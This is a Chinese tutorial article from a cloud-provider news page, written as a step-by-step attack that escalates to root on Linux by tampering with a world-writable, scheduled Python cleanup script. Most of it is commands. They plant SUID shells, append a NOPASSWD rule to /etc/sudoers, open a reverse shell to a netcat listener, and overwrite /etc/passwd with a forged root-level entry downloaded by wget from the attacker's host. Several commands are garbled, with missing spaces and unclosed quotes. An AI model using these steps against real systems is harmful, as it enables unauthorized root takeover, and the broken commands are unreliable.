这期内容当中小编将会给大家带来有关如何通过可写文件来实现Linux下的提权,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
在Linux系统中,任何东西都是以文件形式存在的,包括目录和设备在内,它们都拥有读取、写入和执行权限(需配置)。当管理员在设置文件权限时,必须根据Linux用户的具体情况来进行设置。
我们将跟大家讨论如何通过可写文件/脚本来实现Linux下的提权。接下来,我们直奔主题。
打开你的电脑,然后入侵目标系统,我们直接进入到提权环节。假设我已经通过ssh成功登录目标设备,然后访问了非root用户终端。接下来,使用下列命令枚举出全部拥有可写权限的文件:
find / -writable -type f 2>/dev/null | grep -v "/proc/"
你可以看到,结果中有一个存储在/lib/log目录中的python文件,查看之后我们发现sanitizer.py的权限为777:
看来这个文件是管理员用来清理/tmp目录垃圾的,这种文件会在一定的时间间隔后自动执行。如果攻击者也发现了这一点,那么他们就能够通过接下来所介绍的方式实现提权了。
把/bin/sh拷贝到/tmp中,启用/tmp/sh的SUID。这种方法很简单,首先使用编辑器来打开文件,例如“nanosanitizer.py”,然后用下列内容替换掉“rm -r/tmp”:
os.system('cp/bin/sh /tmp/sh') os.system('chmodu+s /tmp/sh')
接下来,它会在/tmp目录中创建一个拥有SUID权限的sh文件,你运行该文件之后你就能拿到root权限了。
cd /tmp
ls
./sh
id
whoami
跟之前的方法一样,你可以用下列代码替换掉原来的“rm -r /tmp”:
os.system(‘chmod u+s /bin/dash)
一段时间之后,它会给/bin/dash文件设置SUID权限,当你运行它之后你就能拿到root权限了:
/bin/dash id whoami
这里我们需要将python反向shell连接代码复制到“rm -r /tmp/*”这里,然后在新的终端里开启netcat监听器:
一段时间之后你就会通过netcat拿到反向shell连接,并获取到root权限了:
nc-lvp 1234
id
whoami
这是一种最有趣的方法,我们可以通过这种方法来使用sudo权限去登录目标设备。大家可以看到,wernerbrandes现在还无法运行sudo命令:
将下列代码替换掉“rm -r /tmp/*”:
os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
一定时间之后,当你运行“sudo -l”命令之后,你就会发现这个账号变成了sudo用户,然后你就可以拿到root权限了:
sudo -l sudo bash id
在任何一个类Linux系统中,passwd文件的重要性不言而喻,如果攻击者可以访问或修改这个文件,那么该文件就变成了一种提权方式。在可写脚本的帮助下,我们可以使用cat命令来访问etc/passwd文件。
大家可以从下图中看到高亮标注的nemo用户信息,我猜测UID:1000 & GID:1000表示该用户很可能在管理员组里面。我们需要修改nemo记录并让它成为root组成员。首先,把etc/passwd文件的内容拷贝到一个空白的text文件中。
然后在新的终端里,生成salt密码:
openssl passwd -1 -salt abc 123
把salt密码拷贝到nemo用户记录条目的“X”位置,把之前的UID&GID改成0:0。完成所有步骤之后,把刚才新建的text文件保存问“passwd”,然后把这个文件拷贝到目标主机中覆盖掉原始的passwd文件。
cd Desktop python -m SimpleHTTPServer 80
利用可写脚本,用下列命令替换掉“rm -r /tmp/*”:
os.system(‘chmod u+s /bin/cp)
过一段时间之后它将会开启/bin/cp的SUID权限,然后完成文件拷贝。
将修改后的passwd文件拷贝到目标主机的/tmp目录中,然后输入下列命令:
cd /tmp wget http://192.168.1.103/passwd ls -al /bin/cp cp passwd /etc/passwd
使用下列命令查看passwd文件是否替换成功:
tail /etc/passwd
通过下列命令拿到root权限:
su nemo password123 whoami
在这篇文章中我们给大家演示了攻击者如何利用可写文件实现提权,希望大家喜欢。
上述就是小编为大家分享的如何通过可写文件来实现Linux下的提权了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。